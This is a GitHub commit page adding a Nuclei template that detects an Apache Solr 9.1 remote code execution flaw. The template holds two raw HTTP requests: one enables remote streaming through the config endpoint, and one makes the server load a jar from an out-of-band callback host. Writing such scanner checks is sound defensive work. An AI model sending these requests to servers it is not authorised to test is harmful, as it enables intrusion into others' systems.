Merge pull request #7065 from j4vaovo/patch-16

Create apache-solr-91-rce.yaml
patch-1
Ritik Chaddha 2023-08-02 13:49:40 +05:30 committed by GitHub
commit f46e827d9b
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 43 additions and 0 deletions

View File

@ -0,0 +1,43 @@
id: apache-solr-rce
info:
name: Apache Solr 9.1 - Remote Code Execution
author: j4vaovo
severity: critical
reference:
- https://web.archive.org/web/20230414152023/https://noahblog.360.cn/apache-solr-rce/
metadata:
max-request: 2
tags: solr,apache,rce,oast
http:
- raw:
- |
POST /solr/gettingstarted_shard1_replica_n1/config HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{ "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
- |
POST /solr/gettingstarted_shard2_replica_n1/debug/dump?param=ContentStreams HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=------------------------5897997e44b07bf9
--------------------------5897997e44b07bf9
Content-Disposition: form-data; name="stream.url"
jar:http://{{interactsh-url}}/test.jar?!/Test.class
--------------------------5897997e44b07bf9--
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: interactsh_request
words:
- "User-Agent: Java"